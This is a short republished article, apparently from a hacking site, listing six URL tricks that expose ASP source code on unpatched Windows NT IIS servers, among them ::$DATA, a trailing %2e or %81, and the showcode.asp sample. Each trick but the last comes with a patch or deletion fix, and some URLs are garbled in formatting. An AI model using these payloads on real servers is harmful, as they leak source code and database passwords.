6 methods to peek at the ASP original code

Source: Internet
Author: User

Source: www.hackbase.com

On the NT server that has not been patched with Services Pack6, there are at least 6 ways to see the source code of the ASP program. They are:

1, http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp? Source =/msadc/Samples/SELECTOR/showcode. asp
Solution: delete showcode. asp

2. $ DATA "> http: // somewhere/something. asp: $ DATA
Solution: Install sp3

3. http: // somewhere/something. asp % 2e
Solution: install sp4

Or http: // somewhere/something. asp. (add a vertex)
Solution: install sp4

4. http: // somewhere/something % 2e % 41sp
Or http: // somewhere/something % 2e % asp
Solution: install sp4

5. http: // somewhere/something. asp % 81
Solution: Install sp6 or patch

6. http: // somewhere/iissamples/exair/howitworks/code. asp? Source = xxx. asp

The biggest harm is that asp files can be read in the above way. The database password is exposed in plaintext to hackers.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.